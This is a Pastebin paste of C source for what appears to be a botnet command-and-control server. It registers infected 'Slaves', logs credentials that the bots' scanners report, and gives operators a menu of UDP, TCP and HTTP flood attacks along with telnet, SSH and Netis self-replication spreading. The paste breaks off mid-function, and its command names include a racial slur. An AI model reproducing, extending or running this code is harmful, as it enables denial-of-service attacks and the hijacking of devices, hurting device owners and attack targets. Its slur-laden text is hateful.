Guest User

server.c

a guest
Mar 10th, 2019
50
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 36.14 KB | None | 0 0
  1.  
  2.  
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <netdb.h>
  9. #include <unistd.h>
  10. #include <time.h>
  11. #include <fcntl.h>
  12. #include <sys/epoll.h>
  13. #include <errno.h>
  14. #include <pthread.h>
  15. #include <signal.h>
  16. #define MAXFDS 1000000
  17. //////////////////////////////////
  18. struct login_info {
  19. char username[20];
  20. char password[20];
  21. };
  22. static struct login_info accounts[22];
  23. struct clientdata_t {
  24. uint32_t ip;
  25. char connected;
  26. } clients[MAXFDS];
  27. struct telnetdata_t {
  28. int connected;
  29. } managements[MAXFDS];
  30. struct args {
  31. int sock;
  32. struct sockaddr_in cli_addr;
  33. };
  34. static volatile FILE *telFD;
  35. static volatile FILE *fileFD;
  36. static volatile int epollFD = 0;
  37. static volatile int listenFD = 0;
  38. static volatile int OperatorsConnected = 0;
  39. static volatile int TELFound = 0;
  40. static volatile int scannerreport;
  41. //////////////////////////////////
  42. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  43. int total = 0, got = 1;
  44. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  45. return got;
  46. }
  47. void trim(char *str) {
  48. int i;
  49. int begin = 0;
  50. int end = strlen(str) - 1;
  51. while (isspace(str[begin])) begin++;
  52. while ((end >= begin) && isspace(str[end])) end--;
  53. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  54. str[i - begin] = '\0';
  55. }
  56. static int make_socket_non_blocking (int sfd) {
  57. int flags, s;
  58. flags = fcntl (sfd, F_GETFL, 0);
  59. if (flags == -1) {
  60. perror ("fcntl");
  61. return -1;
  62. }
  63. flags |= O_NONBLOCK;
  64. s = fcntl (sfd, F_SETFL, flags);
  65. if (s == -1) {
  66. perror ("fcntl");
  67. return -1;
  68. }
  69. return 0;
  70. }
  71. static int create_and_bind (char *port) {
  72. struct addrinfo hints;
  73. struct addrinfo *result, *rp;
  74. int s, sfd;
  75. memset (&hints, 0, sizeof (struct addrinfo));
  76. hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
  77. hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  78. hints.ai_flags = AI_PASSIVE; /* All interfaces */
  79. s = getaddrinfo (NULL, port, &hints, &result);
  80. if (s != 0) {
  81. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  82. return -1;
  83. }
  84. for (rp = result; rp != NULL; rp = rp->ai_next) {
  85. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  86. if (sfd == -1) continue;
  87. int yes = 1;
  88. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  89. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  90. if (s == 0) {
  91. break;
  92. }
  93. close (sfd);
  94. }
  95. if (rp == NULL) {
  96. fprintf (stderr, "Could not bind\n");
  97. return -1;
  98. }
  99. freeaddrinfo (result);
  100. return sfd;
  101. }
  102. void broadcast(char *msg, int us, char *sender)
  103. {
  104. int sendMGM = 1;
  105. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  106. char *wot = malloc(strlen(msg) + 10);
  107. memset(wot, 0, strlen(msg) + 10);
  108. strcpy(wot, msg);
  109. trim(wot);
  110. time_t rawtime;
  111. struct tm * timeinfo;
  112. time(&rawtime);
  113. timeinfo = localtime(&rawtime);
  114. char *timestamp = asctime(timeinfo);
  115. trim(timestamp);
  116. int i;
  117. for(i = 0; i < MAXFDS; i++)
  118. {
  119. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  120. if(sendMGM && managements[i].connected)
  121. {
  122. send(i, "\x1b[0;31m", 9, MSG_NOSIGNAL);
  123. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  124. send(i, ": ", 2, MSG_NOSIGNAL);
  125. }
  126. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  127. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[0;31~> \x1b[31m", 13, MSG_NOSIGNAL);
  128. else send(i, "\n", 1, MSG_NOSIGNAL);
  129. }
  130. free(wot);
  131. }
  132. void *BotEventLoop(void *useless) {
  133. struct epoll_event event;
  134. struct epoll_event *events;
  135. int s;
  136. events = calloc (MAXFDS, sizeof event);
  137. while (1) {
  138. int n, i;
  139. n = epoll_wait (epollFD, events, MAXFDS, -1);
  140. for (i = 0; i < n; i++) {
  141. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  142. clients[events[i].data.fd].connected = 0;
  143. close(events[i].data.fd);
  144. continue;
  145. }
  146. else if (listenFD == events[i].data.fd) {
  147. while (1) {
  148. struct sockaddr in_addr;
  149. socklen_t in_len;
  150. int infd, ipIndex;
  151.  
  152. in_len = sizeof in_addr;
  153. infd = accept (listenFD, &in_addr, &in_len);
  154. if (infd == -1) {
  155. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  156. else {
  157. perror ("accept");
  158. break;
  159. }
  160. }
  161.  
  162. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  163. int dup = 0;
  164. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  165. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  166. if(clients[ipIndex].ip == clients[infd].ip) {
  167. dup = 1;
  168. break;
  169. }}
  170. if(dup) {
  171. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  172. close(infd);
  173. continue;
  174. }
  175. s = make_socket_non_blocking (infd);
  176. if (s == -1) { close(infd); break; }
  177. event.data.fd = infd;
  178. event.events = EPOLLIN | EPOLLET;
  179. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  180. if (s == -1) {
  181. perror ("epoll_ctl");
  182. close(infd);
  183. break;
  184. }
  185. clients[infd].connected = 1;
  186. send(infd, "!* NIGGERKILL\n", 15, MSG_NOSIGNAL);
  187. send(infd, "!* TELSCAN ON\n", 15, MSG_NOSIGNAL);
  188. }
  189. continue;
  190. }
  191. else {
  192. int datafd = events[i].data.fd;
  193. struct clientdata_t *client = &(clients[datafd]);
  194. int done = 0;
  195. client->connected = 1;
  196. while (1) {
  197. ssize_t count;
  198. char buf[2048];
  199. memset(buf, 0, sizeof buf);
  200. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  201. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  202. trim(buf);
  203. if(strcmp(buf, "PING") == 0) {
  204. if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  205. continue;
  206. }
  207. if(strstr(buf, "REPORT ") == buf) {
  208. char *line = strstr(buf, "REPORT ") + 7;
  209. fprintf(telFD, "%s\n", line);
  210. fflush(telFD);
  211. TELFound++;
  212. continue;
  213. }
  214. if(strstr(buf, "PROBING") == buf) {
  215. char *line = strstr(buf, "PROBING");
  216. scannerreport = 1;
  217. continue;
  218. }
  219. if(strstr(buf, "REMOVING PROBE") == buf) {
  220. char *line = strstr(buf, "REMOVING PROBE");
  221. scannerreport = 0;
  222. continue;
  223. }
  224. if(strcmp(buf, "PONG") == 0) {
  225. continue;
  226. }
  227. printf("buf: \"%s\"\n", buf);
  228. }
  229. if (count == -1) {
  230. if (errno != EAGAIN) {
  231. done = 1;
  232. }
  233. break;
  234. }
  235. else if (count == 0) {
  236. done = 1;
  237. break;
  238. }
  239. if (done) {
  240. client->connected = 0;
  241. close(datafd);
  242. }
  243. }
  244. }
  245. }
  246. }
  247. }
  248. unsigned int BotsConnected() {
  249. int i = 0, total = 0;
  250. for(i = 0; i < MAXFDS; i++) {
  251. if(!clients[i].connected) continue;
  252. total++;
  253. }
  254. return total;
  255. }
  256. void *titleWriter(void *sock)
  257. {
  258. int thefd = (int)sock;
  259. char string[2048];
  260. while(1)
  261. {
  262. memset(string, 0, 2048);
  263. sprintf(string, "%c]0; - Slaves: %d - Telnets: %d - Users: %d -%c", '\033', BotsConnected(), TELFound, OperatorsConnected, '\007');
  264. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  265.  
  266. sleep(3);
  267. }
  268. }
  269. int Search_in_File(char *str)
  270. {
  271. FILE *fp;
  272. int line_num = 0;
  273. int find_result = 0, find_line=0;
  274. char temp[512];
  275.  
  276. if((fp = fopen("skym3rk.txt", "r")) == NULL){
  277. return(-1);
  278. }
  279. while(fgets(temp, 512, fp) != NULL){
  280. if((strstr(temp, str)) != NULL){
  281. find_result++;
  282. find_line = line_num;
  283. }
  284. line_num++;
  285. }
  286. if(fp)
  287. fclose(fp);
  288.  
  289. if(find_result == 0)return 0;
  290.  
  291. return find_line;
  292. }
  293. void client_addr(struct sockaddr_in addr){
  294. printf("IP:%d.%d.%d.%d\n",
  295. addr.sin_addr.s_addr & 0xFF,
  296. (addr.sin_addr.s_addr & 0xFF00)>>8,
  297. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  298. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  299. FILE *logFile;
  300. logFile = fopen("Connections.log", "a");
  301. fprintf(logFile, "\nIP:%d.%d.%d.%d ",
  302. addr.sin_addr.s_addr & 0xFF,
  303. (addr.sin_addr.s_addr & 0xFF00)>>8,
  304. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  305. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  306. fclose(logFile);
  307. }
  308. void *telnetWorker(void *sock)
  309. {
  310. char usernamez[80];
  311. int thefd = (int)sock;
  312. int find_line;
  313. OperatorsConnected++;
  314. pthread_t title;
  315. char counter[2048];
  316. memset(counter, 0, 2048);
  317. char buf[2048];
  318. char* nickstring;
  319. char* username;
  320. char* password;
  321. memset(buf, 0, sizeof buf);
  322. char botnet[2048];
  323. memset(botnet, 0, 2048);
  324.  
  325. FILE *fp;
  326. int i=0;
  327. int c;
  328. fp=fopen("skym3rk.txt", "r");
  329. while(!feof(fp))
  330. {
  331. c=fgetc(fp);
  332. ++i;
  333. }
  334. int j=0;
  335. rewind(fp);
  336. while(j!=i-1)
  337. {
  338. fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  339. ++j;
  340. }
  341.  
  342. if(send(thefd, "\x1b[31mUser:\x1b[31m ", 16, MSG_NOSIGNAL) == -1) goto end;
  343. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  344. trim(buf);
  345. sprintf(usernamez, buf);
  346. nickstring = ("%s", buf);
  347. find_line = Search_in_File(nickstring);
  348. if(strcmp(nickstring, accounts[find_line].username) == 0){
  349. if(send(thefd, "\x1b[31mPass:\x1b[31m ", 20, MSG_NOSIGNAL) == -1) goto end;
  350. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  351. trim(buf);
  352. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  353. memset(buf, 0, 2048);
  354. if(send(thefd, "\x1b[37m++++ Login Is Correct Wait ++++\r\n++++ Please Wait Banner is Loading ++++\r\n", 100, MSG_NOSIGNAL) == -1) goto end;
  355. sleep(3);
  356. goto dope;
  357. }
  358. failed:
  359. if(send(thefd, "\033[1A", 6, MSG_NOSIGNAL) == -1) goto end;
  360. if(send(thefd, "\x1b[31m***********************************\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  361. if(send(thefd, "\x1b[37m* Incorrect Credentials! *\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  362. if(send(thefd, "\x1b[31m* This has been logged LOL XD *\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  363. if(send(thefd, "\x1b[31m***********************************\r\n", 43, MSG_NOSIGNAL) == -1) goto end;
  364. sleep(5);
  365. goto end;
  366. dope:
  367. pthread_create(&title, NULL, &titleWriter, sock);
  368. char dope1 [80];
  369. char dope2 [80];
  370. char dope3 [80];
  371. char dope4 [80];
  372. char dope5 [80];
  373. char dope6 [80];
  374. char dope7 [80];
  375. sprintf(dope1, "_GLOW\r\n");
  376. sprintf(dope2, "NET\r\n");
  377. sprintf(dope3, "IS\r\n");
  378. sprintf(dope4, "DANK\r\n");
  379. sprintf(dope5, "Please\r\n");
  380. sprintf(dope6, "Wait\r\n");
  381. sprintf(dope7, "\x1b[1;31mLoading... ;)\r\n");
  382. char clearscreen [2048];
  383. memset(clearscreen, 0, 2048);
  384. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  385. if(send(thefd, dope1, strlen(dope1), MSG_NOSIGNAL) == -1) goto end;
  386. sleep(1);
  387. if(send(thefd, dope2, strlen(dope2), MSG_NOSIGNAL) == -1) goto end;
  388. sleep(1);
  389. if(send(thefd, dope3, strlen(dope3), MSG_NOSIGNAL) == -1) goto end;
  390. sleep(1);
  391. if(send(thefd, dope4, strlen(dope4), MSG_NOSIGNAL) == -1) goto end;
  392. sleep(1);
  393. if(send(thefd, dope5, strlen(dope5), MSG_NOSIGNAL) == -1) goto end;
  394. sleep(1);
  395. if(send(thefd, dope6, strlen(dope6), MSG_NOSIGNAL) == -1) goto end;
  396. sleep(1);
  397. if(send(thefd, dope7, strlen(dope7), MSG_NOSIGNAL) == -1) goto end;
  398. sleep(5);
  399. goto fak;
  400.  
  401. fak:
  402.  
  403. pthread_create(&title, NULL, &titleWriter, sock);
  404. char line1 [999];
  405. char line2 [999];
  406. char line3 [999];
  407. char line4 [999];
  408. char line5 [999];
  409. char line6 [999];
  410. char line7 [999];
  411. char line8 [999];
  412. char line9 [999];
  413. sprintf(line1, "\x1b[0;36m \r\n");
  414. sprintf(line2, "\x1b[0;31m ███████╗██╗ █████╗ ███╗ ███╗\r\n");
  415. sprintf(line3, "\x1b[0;37m ██╔════╝██║ ██╔══██╗████╗ ████║\r\n");
  416. sprintf(line4, "\x1b[0;31m ███████╗██║ ███████║██╔████╔██║\r\n");
  417. sprintf(line5, "\x1b[0;37m ╚════██║██║ ██╔══██║██║╚██╔╝██║\r\n");
  418. sprintf(line6, "\x1b[0;31m ███████║███████╗██║ ██║██║ ╚═╝ ██║\r\n");
  419. sprintf(line7, "\x1b[0;37m ╚══════╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝\r\n");
  420. sprintf(line8, "\r\n \x1b[0;31m[\x1b[1;31m+\x1b[0;31m]\x1b[0;31mWelcome\x1b[1;31m %s\x1b[0;31m To Glow's Net\x1b[0;31m[\x1b[1;31m+\x1b[0;31m] \r\n", accounts[find_line].username, buf);
  421. sprintf(line9, " \x1b[0;31m[\x1b[1;31m+\x1b[0;31m]\x1b[0;31mType HELP to Get Help LOL\x1b[0;31m[\x1b[1;31m+\x1b[0;31m] \x1b[1;31m\r\n\r\n");
  422. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  423. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  424. if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
  425. if(send(thefd, line3, strlen(line3), MSG_NOSIGNAL) == -1) goto end;
  426. if(send(thefd, line4, strlen(line4), MSG_NOSIGNAL) == -1) goto end;
  427. if(send(thefd, line5, strlen(line5), MSG_NOSIGNAL) == -1) goto end;
  428. if(send(thefd, line6, strlen(line6), MSG_NOSIGNAL) == -1) goto end;
  429. if(send(thefd, line7, strlen(line7), MSG_NOSIGNAL) == -1) goto end;
  430. if(send(thefd, line8, strlen(line8), MSG_NOSIGNAL) == -1) goto end;
  431. if(send(thefd, line9, strlen(line9), MSG_NOSIGNAL) == -1) goto end;
  432. while(1) {
  433. if(send(thefd, "\x1b[0;31m~> \x1b[36m", 13, MSG_NOSIGNAL) == -1) goto end;
  434. break;
  435. }
  436. pthread_create(&title, NULL, &titleWriter, sock);
  437. managements[thefd].connected = 1;
  438.  
  439. while(fdgets(buf, sizeof buf, thefd) > 0)
  440. {
  441. if(strstr(buf, "BOTS"))
  442. {
  443. sprintf(botnet, " [+] Slaves: %d [+] Telnets: %d [+] Users: %d [+]\r\n", BotsConnected(), TELFound, OperatorsConnected);
  444. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  445. }
  446. if(strstr(buf, "STATUS"))
  447. {
  448. sprintf(botnet, " [+] Slaves: %d [+] Telnets: %d [+] Users: %d [+]\r\n", BotsConnected(), TELFound, OperatorsConnected);
  449. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  450. }
  451.  
  452. if(strstr(buf, "bots"))
  453. {
  454. sprintf(botnet, " [+] Slaves: %d [+] Telnets: %d [+] Users: %d [+]\r\n", BotsConnected(), TELFound, OperatorsConnected);
  455. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  456. }
  457. if(strstr(buf, "TIME"))
  458. {
  459. sprintf(botnet, " Dont Go Past 3600 Time\r\n");
  460. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  461. }
  462. if(strstr(buf, "RULES"))
  463. {
  464. sprintf(botnet, " Please Read The Following Rules if not will result in ban\r\n 1.) DO NOT SHARE YOUR ACCOUNT INFO \r\n 2.) DO NOT SPAM THE NET\r\n 3.) Dont hit any goverment websites\r\n");
  465. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  466. }
  467. if(strstr(buf, "PORTS"))
  468. {
  469. sprintf(botnet, " Console~3074 NFO~1094/443 Hotspot~USE A TOOL FOR THEIR PORT\r\n");
  470. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  471. }
  472. if(strstr(buf, "!* NIGGERKILL"))
  473. {
  474. sprintf(botnet, " Those Boats Got Killd\r\n");
  475. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  476. }
  477. if(strstr(buf, "!* TELSCAN OFF"))
  478. {
  479. sprintf(botnet, " TELNET SELF REPLIFICATION OFF\r\n");
  480. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  481. }
  482. if(strstr(buf, "!* TELSCAN ON"))
  483. {
  484. sprintf(botnet, " TELNET SELF REPLIFICATION ON\r\n");
  485. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  486. }
  487. if(strstr(buf, "!* TCP"))
  488. {
  489. sprintf(botnet, " ATTACK SENT! [TCP]\r\n");
  490. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  491. }
  492. if(strstr(buf, "!* UDP"))
  493. {
  494. sprintf(botnet, " ATTACK SENT! [UDP]\r\n");
  495. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  496. }
  497. if(strstr(buf, "!* STD"))
  498. {
  499. sprintf(botnet, " ATTACK SENT! [STD]\r\n");
  500. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  501. }
  502. if(strstr(buf, "!* CNC"))
  503. {
  504. sprintf(botnet, " ATTACK SENT! [CNC]\r\n");
  505. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  506. }
  507. if(strstr(buf, "INFO"))
  508. {
  509. sprintf(botnet, " This serverside is dank\r\n modified by Skym3rk\r\n");
  510. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  511. }
  512. if(strstr(buf, "!* HTTP"))
  513. {
  514. sprintf(botnet, " ATTACK SENT! [HTTP]\r\n");
  515. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  516. }
  517. if(strstr(buf, "ports"))
  518. {
  519. sprintf(botnet, " Console~3074 NFO~1094 Hotspot~USE A TOOL FOR THEIR PORT\r\n");
  520. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  521. }
  522. if(strstr(buf, "HELP")) {
  523. pthread_create(&title, NULL, &titleWriter, sock);
  524. char helpline1 [80];
  525. char helpline2 [80];
  526. char helpline3 [80];
  527. char helpline4 [80];
  528.  
  529. sprintf(helpline1, "\x1b[0;31mType An Option:\r\n");
  530. sprintf(helpline2, "\x1b[0;37m[\x1b[31mDDOS\x1b[0;31m] ~ Shows all commands for DDoS Attacks\r\n");
  531. sprintf(helpline3, "\x1b[0;31m[\x1b[31mEXTRA\x1b[0;31m] ~ Shows a list of all extra commands\r\n");
  532. sprintf(helpline4, "\x1b[0;37m[\x1b[0;31mSELF-REP\x1b[0;31m] ~ SelfRep Commands\r\n");;
  533.  
  534. if(send(thefd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  535. if(send(thefd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  536. if(send(thefd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  537. if(send(thefd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  538. pthread_create(&title, NULL, &titleWriter, sock);
  539. if(send(thefd, "\x1b[0;31m~> \x1b[31m", 13, MSG_NOSIGNAL) == -1) goto end;
  540. continue;
  541. }
  542. if(strstr(buf, "DDOS")) {
  543. pthread_create(&title, NULL, &titleWriter, sock);
  544. char ddoshline2 [999];
  545. char ddoshline1 [999];
  546.  
  547. char ddosline1 [999];
  548. char ddosline2 [999];
  549. char ddosline3 [999];
  550. char ddosline4 [999];
  551. char ddosline5 [999];
  552. char ddosline6 [999];
  553. char ddosline7 [999];
  554. char ddosline8 [999];
  555. char ddosline9 [999];
  556.  
  557. sprintf(ddoshline2, "\x1b[0;31m /--------------------------------------------------------\\ \r\n");
  558. sprintf(ddoshline1, "\x1b[0;37m | DDOS MENU |\r\n");
  559. sprintf(ddosline1, "\x1b[0;31m | !* UDP [IP] [PORT] [TIME] 32 0 1 | UDP FLOOD |\r\n");
  560. sprintf(ddosline2, "\x1b[0;37m | !* TCP [IP] [PORT] [TIME] 32 all 0 1 | TCP FLOOD |\r\n");
  561. sprintf(ddosline3, "\x1b[0;31m | !* HTTP G|H|P [URL] [PORT] / [TIME] 1024 | L7 FLOOD |\r\n");
  562. sprintf(ddosline4, "\x1b[0;37m | !* STD [IP] [PORT] [TIME] | STD FLOOD |\r\n");
  563. sprintf(ddosline5, "\x1b[0;31m | !* JUNK [IP] [PORT] [TIME] | JUNK FLOOD |\r\n");
  564. sprintf(ddosline6, "\x1b[0;37m | !* HOLD [IP] [PORT] [TIME] | HOLD FLOOD |\r\n");
  565. sprintf(ddosline7, "\x1b[0;31m | !* STOPATTK | KILL ATTACKS|\r\n");
  566. sprintf(ddosline8, "\x1b[0;37m | |\r\n");
  567. sprintf(ddosline9, "\x1b[0;31m \\--------------------------------------------------------/\r\n");
  568.  
  569. if(send(thefd, ddoshline2, strlen(ddoshline2), MSG_NOSIGNAL) == -1) goto end;
  570. if(send(thefd, ddoshline1, strlen(ddoshline1), MSG_NOSIGNAL) == -1) goto end;
  571. if(send(thefd, ddosline1, strlen(ddosline1), MSG_NOSIGNAL) == -1) goto end;
  572. if(send(thefd, ddosline2, strlen(ddosline2), MSG_NOSIGNAL) == -1) goto end;
  573. if(send(thefd, ddosline3, strlen(ddosline3), MSG_NOSIGNAL) == -1) goto end;
  574. if(send(thefd, ddosline4, strlen(ddosline4), MSG_NOSIGNAL) == -1) goto end;
  575. if(send(thefd, ddosline5, strlen(ddosline5), MSG_NOSIGNAL) == -1) goto end;
  576. if(send(thefd, ddosline6, strlen(ddosline6), MSG_NOSIGNAL) == -1) goto end;
  577. if(send(thefd, ddosline7, strlen(ddosline7), MSG_NOSIGNAL) == -1) goto end;
  578. if(send(thefd, ddosline8, strlen(ddosline8), MSG_NOSIGNAL) == -1) goto end;
  579. if(send(thefd, ddosline9, strlen(ddosline9), MSG_NOSIGNAL) == -1) goto end;
  580. pthread_create(&title, NULL, &titleWriter, sock);
  581. if(send(thefd, "\x1b[0;31m~> \x1b[31m", 13, MSG_NOSIGNAL) == -1) goto end;
  582. continue;
  583. }
  584. if(strstr(buf, "SELF-REP")) {
  585. pthread_create(&title, NULL, &titleWriter, sock);
  586. char repline1 [80];
  587. char repline2 [80];
  588. char repline3 [80];
  589. char repline4 [80];
  590. char repline5 [80];
  591. char repline6 [80];
  592.  
  593. sprintf(repline1, "\x1b[31m !* TELSCAN ON | OFF | TURNS ON/OFF TELNET SELFREP\r\n");
  594. sprintf(repline2, "\x1b[37m !* SSHSCAN ON | OFF | TURNS ON/OFF SSH SELFREP\r\n");
  595. sprintf(repline3, "\x1b[31m !* NETISSCAN ON | OFF | TURNS ON/OFF NETIS SELFREP\r\n");
  596. sprintf(repline4, "\x1b[37m !* UPDATE | REINFECTS BOT\r\n");
  597. sprintf(repline5, "\x1b[31m !* PYTHON 1|2|3|DOWNLOAD|OFF | TURNS ON/OFF PYTHON SCANNER\r\n");
  598. sprintf(repline6, "\x1b[37m !* NIGGERKILL | DONT TRY THESE COMMANDS UNLESS UR ADMIN!\r\n");
  599. if(send(thefd, repline1, strlen(repline1), MSG_NOSIGNAL) == -1) goto end;
  600. if(send(thefd, repline2, strlen(repline2), MSG_NOSIGNAL) == -1) goto end;
  601. if(send(thefd, repline3, strlen(repline3), MSG_NOSIGNAL) == -1) goto end;
  602. if(send(thefd, repline4, strlen(repline4), MSG_NOSIGNAL) == -1) goto end;
  603. if(send(thefd, repline5, strlen(repline5), MSG_NOSIGNAL) == -1) goto end;
  604. if(send(thefd, repline6, strlen(repline6), MSG_NOSIGNAL) == -1) goto end;
  605. pthread_create(&title, NULL, &titleWriter, sock);
  606. if(send(thefd, "\x1b[0;31m~> \x1b[31m", 13, MSG_NOSIGNAL) == -1) goto end;
  607. continue;
  608. }
  609. if(strstr(buf, "EXTRA")) {
  610. pthread_create(&title, NULL, &titleWriter, sock);
  611. char extraline1 [80];
  612. char extraline2 [80];
  613. char extraline3 [80];
  614. char extraline4 [80];
  615. char extraline5 [80];
  616. char extraline6 [80];
  617.  
  618. sprintf(extraline1, "\x1b[31m PORTS | PORTS TO HIT WITH\r\n");
  619. sprintf(extraline2, "\x1b[37m BOTS | BOT COUNT\r\n");
  620. sprintf(extraline3, "\x1b[31m CLEAR | CLEARS SCREEN\r\n");
  621. sprintf(extraline4, "\x1b[37m RULES | SHOWS RULES\r\n");
  622. sprintf(extraline5, "\x1b[31m TIME | SHOWS MAX BOOT TIME\r\n");
  623. sprintf(extraline6, "\x1b[37m INFO | SHOWS INFO ABOUT THIS SERVER SIDE\r\n");
  624.  
  625. if(send(thefd, extraline1, strlen(extraline1), MSG_NOSIGNAL) == -1) goto end;
  626. if(send(thefd, extraline2, strlen(extraline2), MSG_NOSIGNAL) == -1) goto end;
  627. if(send(thefd, extraline3, strlen(extraline3), MSG_NOSIGNAL) == -1) goto end;
  628. if(send(thefd, extraline4, strlen(extraline4), MSG_NOSIGNAL) == -1) goto end;
  629. if(send(thefd, extraline5, strlen(extraline5), MSG_NOSIGNAL) == -1) goto end;
  630. if(send(thefd, extraline6, strlen(extraline6), MSG_NOSIGNAL) == -1) goto end;
  631. pthread_create(&title, NULL, &titleWriter, sock);
  632. if(send(thefd, "\x1b[0;31m~> \x1b[31m", 13, MSG_NOSIGNAL) == -1) goto end;
  633. continue;
  634. }
  635. if(strstr(buf, "CLEAR")){
  636.  
  637. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  638. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  639. if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
  640. if(send(thefd, line3, strlen(line3), MSG_NOSIGNAL) == -1) goto end;
  641. if(send(thefd, line4, strlen(line4), MSG_NOSIGNAL) == -1) goto end;
  642. if(send(thefd, line5, strlen(line5), MSG_NOSIGNAL) == -1) goto end;
  643. if(send(thefd, line6, strlen(line6), MSG_NOSIGNAL) == -1) goto end;
  644. if(send(thefd, line7, strlen(line7), MSG_NOSIGNAL) == -1) goto end;
  645. if(send(thefd, line8, strlen(line8), MSG_NOSIGNAL) == -1) goto end;
  646. if(send(thefd, line9, strlen(line9), MSG_NOSIGNAL) == -1) goto end;
  647. pthread_create(&title, NULL, &titleWriter, sock);
  648. managements[thefd].connected = 1;
  649. }
  650. if(strstr(buf, "clear")){
  651.  
  652. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  653. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  654. if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
  655. if(send(thefd, line3, strlen(line3), MSG_NOSIGNAL) == -1) goto end;
  656. if(send(thefd, line4, strlen(line4), MSG_NOSIGNAL) == -1) goto end;
  657. if(send(thefd, line5, strlen(line5), MSG_NOSIGNAL) == -1) goto end;
  658. if(send(thefd, line6, strlen(line6), MSG_NOSIGNAL) == -1) goto end;
  659. if(send(thefd, line7, strlen(line7), MSG_NOSIGNAL) == -1) goto end;
  660. if(send(thefd, line8, strlen(line8), MSG_NOSIGNAL) == -1) goto end;
  661. if(send(thefd, line9, strlen(line9), MSG_NOSIGNAL) == -1) goto end;
  662. pthread_create(&title, NULL, &titleWriter, sock);
  663. managements[thefd].connected = 1;
  664. }
  665. if(strstr(buf, "LOGOUT"))
  666. {
  667. sprintf(botnet, "Peace Mr %s\r\n", accounts[find_line].username, buf);
  668. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  669. goto end;
  670. } // if someone tries to send a attack above 200O SEC it will kick them off :)
